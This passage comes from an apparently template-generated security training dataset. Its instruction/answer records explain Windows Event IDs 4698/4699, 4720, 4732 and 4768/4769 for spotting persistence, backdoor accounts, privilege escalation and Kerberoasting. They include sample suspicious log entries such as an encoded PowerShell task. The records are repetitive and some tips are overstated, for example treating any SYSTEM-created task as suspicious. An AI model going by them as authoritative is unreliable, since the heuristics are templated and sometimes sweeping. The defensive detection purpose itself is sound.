suspicious\n- Watch for tasks in user context\n- Look for encoded PowerShell in arguments\n\nUseful for: Detect persistence, Identify lateral movement, Monitor backdoors", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016498Z", "updated_at": "2025-12-18T00:11:32.016498Z"} +{"id": "trtp-bd8e73610a2a", "instruction": "What indicators does Windows Event Log help identify?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.\n\nExample:\n```\nTaskName: \\EvilTask\nTaskContent: powershell.exe-enc SGVsbG8=\nSubjectUserName: SYSTEM\n```\n\nTips:\n- SYSTEM creating tasks is suspicious\n- Watch for tasks in user context", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016511Z", "updated_at": "2025-12-18T00:11:32.016511Z"} +{"id": "trtp-84bfb18f2e11", "instruction": "What evidence can Windows Event Log help uncover?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.\n\nForensic applications:\n- Detect persistence\n- Identify lateral movement\n- Monitor backdoors\n\nWhat to look for: TaskContent contains XML with command and arguments. Parse for malicious commands.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016522Z", "updated_at": "2025-12-18T00:11:32.016522Z"} +{"id": "trtp-23d29378cd01", "instruction": "What's the process for analyzing data with Windows Event Log?", "output": "Workflow for Event ID 4698/4699 - Scheduled Task:\n\n1. Understand the context: Event 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.\n\n2. Apply the tool:\n```\nTaskName: \\EvilTask\nTaskContent: powershell.exe-enc SGVsbG8=\nSubjectUserName: SYSTEM\n```\n\n3. Common scenarios: Detect persistence, Identify lateral movement, Monitor backdoors\n\n4. Best practices:\n - SYSTEM creating tasks is suspicious\n - Watch for tasks in user context", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016537Z", "updated_at": "2025-12-18T00:11:32.016537Z"} +{"id": "trtp-444e0db3a756", "instruction": "What are the advantages of Windows Event Log for security analysis?", "output": "Advantages of Windows Event Log:\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.\n\nBest suited for:\n- Detect persistence\n- Identify lateral movement\n- Monitor backdoors\n- Track attacker activity\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016551Z", "updated_at": "2025-12-18T00:11:32.016551Z"} +{"id": "trtp-3fee5e98b327", "instruction": "Can Windows Event Log be combined with other analysis methods?", "output": "Integration points for Windows Event Log:\n\nEvent 4698 logs scheduled task creation, 4699 logs deletion. Scheduled tasks are a common persistence mechanism. Task XML contains action details.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4698-4699---scheduled-task", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016406Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016565Z", "updated_at": "2025-12-18T00:11:32.016565Z"} +{"id": "trtp-a874a94de576", "instruction": "Explain Windows Event Log for security professionals.", "output": "Event ID 4720 - User Account Created\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.\n\nPlatform: windows\n\nCommon uses:\n- Detect backdoor accounts\n- Monitor unauthorized account creation\n- Track admin activity\n- Identify compromised systems", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016788Z", "updated_at": "2025-12-18T00:11:32.016788Z"} +{"id": "trtp-1c52a5bb327a", "instruction": "Show me the basic syntax for Windows Event Log.", "output": "Syntax for Windows Event Log:\n\nEventID=4720\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016801Z", "updated_at": "2025-12-18T00:11:32.016801Z"} +{"id": "trtp-d866f2ed3154", "instruction": "How would I use Windows Event Log for Detect backdoor accounts?", "output": "Example of Event ID 4720 - User Account Created:\n\n```\nTargetUserName: backdoor$\nTargetDomainName: WORKSTATION\nSubjectUserName: Administrator\nSubjectDomainName: DOMAIN\n```\n\nInterpretation: TargetUserName=new account, SubjectUserName=who created it", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016813Z", "updated_at": "2025-12-18T00:11:32.016813Z"} +{"id": "trtp-611163bffb0d", "instruction": "In what scenarios is Windows Event Log useful?", "output": "Use cases for Windows Event Log:\n\n- Detect backdoor accounts\n- Monitor unauthorized account creation\n- Track admin activity\n- Identify compromised systems\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016825Z", "updated_at": "2025-12-18T00:11:32.016825Z"} +{"id": "trtp-e0c9d92008cf", "instruction": "How do I interpret Windows Event Log output?", "output": "Interpreting Windows Event Log output:\n\nTargetUserName=new account, SubjectUserName=who created it\n\nExample output:\n```\nTargetUserName: backdoor$\nTargetDomainName: WORKSTATION\nSubjectUserName: Administrator\nSubjectDomainName: DOMAIN\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016836Z", "updated_at": "2025-12-18T00:11:32.016836Z"} +{"id": "trtp-e667297c00ff", "instruction": "How can I get the most out of Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Accounts ending in $ may be hidden\n- Watch for creation outside change windows\n- Correlate with 4732 (group membership)\n\nUseful for: Detect backdoor accounts, Monitor unauthorized account creation, Track admin activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016849Z", "updated_at": "2025-12-18T00:11:32.016849Z"} +{"id": "trtp-79cfc76c4e1c", "instruction": "What should I look for when using Windows Event Log for incident response?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.\n\nExample:\n```\nTargetUserName: backdoor$\nTargetDomainName: WORKSTATION\nSubjectUserName: Administrator\nSubjectDomainName: DOMAIN\n```\n\nTips:\n- Accounts ending in $ may be hidden\n- Watch for creation outside change windows", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016861Z", "updated_at": "2025-12-18T00:11:32.016861Z"} +{"id": "trtp-adc261a10139", "instruction": "What artifacts does Windows Event Log analyze?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.\n\nForensic applications:\n- Detect backdoor accounts\n- Monitor unauthorized account creation\n- Track admin activity\n\nWhat to look for: TargetUserName=new account, SubjectUserName=who created it", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016874Z", "updated_at": "2025-12-18T00:11:32.016874Z"} +{"id": "trtp-7756689ef93d", "instruction": "How do I incorporate Windows Event Log into my security workflow?", "output": "Workflow for Event ID 4720 - User Account Created:\n\n1. Understand the context: Event 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.\n\n2. Apply the tool:\n```\nTargetUserName: backdoor$\nTargetDomainName: WORKSTATION\nSubjectUserName: Administrator\nSubjectDomainName: DOMAIN\n```\n\n3. Common scenarios: Detect backdoor accounts, Monitor unauthorized account creation, Track admin activity\n\n4. Best practices:\n - Accounts ending in $ may be hidden\n - Watch for creation outside change windows", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016888Z", "updated_at": "2025-12-18T00:11:32.016888Z"} +{"id": "trtp-5c4571b67918", "instruction": "When should I use Windows Event Log versus other similar tools?", "output": "Advantages of Windows Event Log:\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.\n\nBest suited for:\n- Detect backdoor accounts\n- Monitor unauthorized account creation\n- Track admin activity\n- Identify compromised systems\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016902Z", "updated_at": "2025-12-18T00:11:32.016902Z"} +{"id": "trtp-7285c5e8f614", "instruction": "How does Windows Event Log integrate with other security tools?", "output": "Integration points for Windows Event Log:\n\nEvent 4720 logs local or domain user account creation. Account creation can indicate attacker persistence or backdoor access.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4720---user-account-created", "license": "original", "retrieved_at": "2025-12-18T00:11:32.016766Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.016916Z", "updated_at": "2025-12-18T00:11:32.016916Z"} +{"id": "trtp-928b2149e126", "instruction": "How do security analysts use Windows Event Log?", "output": "Event ID 4732 - Member Added to Security Group\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.\n\nPlatform: windows\n\nCommon uses:\n- Detect privilege escalation\n- Monitor group membership changes\n- Track admin group additions\n- Identify lateral movement", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017117Z", "updated_at": "2025-12-18T00:11:32.017117Z"} +{"id": "trtp-6a06f8252ddc", "instruction": "Show me the basic syntax for Windows Event Log.", "output": "Syntax for Windows Event Log:\n\nEventID=4732\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017130Z", "updated_at": "2025-12-18T00:11:32.017130Z"} +{"id": "trtp-841d196da1f5", "instruction": "Give me a practical example of Windows Event Log.", "output": "Example of Event ID 4732 - Member Added to Security Group:\n\n```\nTargetUserName: Administrators\nMemberName: CN=backdoor,CN=Users,DC=domain,DC=com\nSubjectUserName: compromised_admin\n```\n\nInterpretation: TargetUserName=group name, MemberName=added user, SubjectUserName=who made change", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017141Z", "updated_at": "2025-12-18T00:11:32.017141Z"} +{"id": "trtp-b799e3de69ef", "instruction": "In what scenarios is Windows Event Log useful?", "output": "Use cases for Windows Event Log:\n\n- Detect privilege escalation\n- Monitor group membership changes\n- Track admin group additions\n- Identify lateral movement\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017153Z", "updated_at": "2025-12-18T00:11:32.017153Z"} +{"id": "trtp-0dd9492069a6", "instruction": "Explain the output of Windows Event Log.", "output": "Interpreting Windows Event Log output:\n\nTargetUserName=group name, MemberName=added user, SubjectUserName=who made change\n\nExample output:\n```\nTargetUserName: Administrators\nMemberName: CN=backdoor,CN=Users,DC=domain,DC=com\nSubjectUserName: compromised_admin\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017163Z", "updated_at": "2025-12-18T00:11:32.017163Z"} +{"id": "trtp-f774e2b5b850", "instruction": "What are some tips for using Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Focus on Administrators, Domain Admins\n- Unexpected additions are high-priority alerts\n- Correlate with 4728 for domain groups\n\nUseful for: Detect privilege escalation, Monitor group membership changes, Track admin group additions", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017175Z", "updated_at": "2025-12-18T00:11:32.017175Z"} +{"id": "trtp-743379f00e12", "instruction": "How can Windows Event Log help identify malicious activity?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.\n\nExample:\n```\nTargetUserName: Administrators\nMemberName: CN=backdoor,CN=Users,DC=domain,DC=com\nSubjectUserName: compromised_admin\n```\n\nTips:\n- Focus on Administrators, Domain Admins\n- Unexpected additions are high-priority alerts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017188Z", "updated_at": "2025-12-18T00:11:32.017188Z"} +{"id": "trtp-901fccd9ce65", "instruction": "What evidence can Windows Event Log help uncover?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.\n\nForensic applications:\n- Detect privilege escalation\n- Monitor group membership changes\n- Track admin group additions\n\nWhat to look for: TargetUserName=group name, MemberName=added user, SubjectUserName=who made change", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017200Z", "updated_at": "2025-12-18T00:11:32.017200Z"} +{"id": "trtp-c788c673310a", "instruction": "What's the process for analyzing data with Windows Event Log?", "output": "Workflow for Event ID 4732 - Member Added to Security Group:\n\n1. Understand the context: Event 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.\n\n2. Apply the tool:\n```\nTargetUserName: Administrators\nMemberName: CN=backdoor,CN=Users,DC=domain,DC=com\nSubjectUserName: compromised_admin\n```\n\n3. Common scenarios: Detect privilege escalation, Monitor group membership changes, Track admin group additions\n\n4. Best practices:\n - Focus on Administrators, Domain Admins\n - Unexpected additions are high-priority alerts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017214Z", "updated_at": "2025-12-18T00:11:32.017214Z"} +{"id": "trtp-772cca18ad43", "instruction": "What are the advantages of Windows Event Log for security analysis?", "output": "Advantages of Windows Event Log:\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.\n\nBest suited for:\n- Detect privilege escalation\n- Monitor group membership changes\n- Track admin group additions\n- Identify lateral movement\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017228Z", "updated_at": "2025-12-18T00:11:32.017228Z"} +{"id": "trtp-58a585d9393d", "instruction": "How do I use Windows Event Log alongside other tools in my toolkit?", "output": "Integration points for Windows Event Log:\n\nEvent 4732 logs when a user is added to a local security-enabled group. Critical for detecting privilege escalation via group membership changes.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4732---member-added-to-security-group", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017096Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017241Z", "updated_at": "2025-12-18T00:11:32.017241Z"} +{"id": "trtp-3350a5274fd0", "instruction": "How do security analysts use Windows Event Log?", "output": "Event ID 4768/4769 - Kerberos Authentication\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.\n\nPlatform: windows\n\nCommon uses:\n- Detect Kerberoasting\n- Identify AS-REP roasting\n- Monitor golden tickets\n- Track lateral movement", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017443Z", "updated_at": "2025-12-18T00:11:32.017443Z"} +{"id": "trtp-01e1f1a8a417", "instruction": "What command or query syntax does Windows Event Log use?", "output": "Syntax for Windows Event Log:\n\nEventID=4768 OR EventID=4769\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017457Z", "updated_at": "2025-12-18T00:11:32.017457Z"} +{"id": "trtp-829dd4d47708", "instruction": "Provide an example of using Windows Event Log.", "output": "Example of Event ID 4768/4769 - Kerberos Authentication:\n\n```\nTargetUserName: serviceaccount\nServiceName: MSSQLSvc/sql.domain.com:1433\nTicketEncryptionType: 0x17 (RC4)\nIpAddress: 192.168.1.100\n```\n\nInterpretation: TicketEncryptionType 0x17=RC4 (weak), 0x12=AES256. RC4 requests are suspicious for Kerberoasting.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017468Z", "updated_at": "2025-12-18T00:11:32.017468Z"} +{"id": "trtp-8ed891f380ed", "instruction": "In what scenarios is Windows Event Log useful?", "output": "Use cases for Windows Event Log:\n\n- Detect Kerberoasting\n- Identify AS-REP roasting\n- Monitor golden tickets\n- Track lateral movement\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017491Z", "updated_at": "2025-12-18T00:11:32.017491Z"} +{"id": "trtp-e643ac0b8e28", "instruction": "Explain the output of Windows Event Log.", "output": "Interpreting Windows Event Log output:\n\nTicketEncryptionType 0x17=RC4 (weak), 0x12=AES256. RC4 requests are suspicious for Kerberoasting.\n\nExample output:\n```\nTargetUserName: serviceaccount\nServiceName: MSSQLSvc/sql.domain.com:1433\nTicketEncryptionType: 0x17 (RC4)\nIpAddress: 192.168.1.100\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017503Z", "updated_at": "2025-12-18T00:11:32.017503Z"} +{"id": "trtp-c8e87c9a6fea", "instruction": "How can I get the most out of Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Many 4769 with RC4 = Kerberoasting\n- 4768 with PreAuth disabled = AS-REP roasting\n- Watch for unusual service ticket requests\n\nUseful for: Detect Kerberoasting, Identify AS-REP roasting, Monitor golden tickets", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017515Z", "updated_at": "2025-12-18T00:11:32.017515Z"} +{"id": "trtp-c030e497de59", "instruction": "What should I look for when using Windows Event Log for incident response?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.\n\nExample:\n```\nTargetUserName: serviceaccount\nServiceName: MSSQLSvc/sql.domain.com:1433\nTicketEncryptionType: 0x17 (RC4)\nIpAddress: 192.168.1.100\n```\n\nTips:\n- Many 4769 with RC4 = Kerberoasting\n- 4768 with PreAuth disabled = AS-REP roasting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017528Z", "updated_at": "2025-12-18T00:11:32.017528Z"} +{"id": "trtp-cd34833e6504", "instruction": "What artifacts does Windows Event Log analyze?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.\n\nForensic applications:\n- Detect Kerberoasting\n- Identify AS-REP roasting\n- Monitor golden tickets\n\nWhat to look for: TicketEncryptionType 0x17=RC4 (weak), 0x12=AES256. RC4 requests are suspicious for Kerberoasting.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017540Z", "updated_at": "2025-12-18T00:11:32.017540Z"} +{"id": "trtp-4ec9ed9e2f57", "instruction": "What is the typical workflow for using Windows Event Log?", "output": "Workflow for Event ID 4768/4769 - Kerberos Authentication:\n\n1. Understand the context: Event 4768 logs TGT 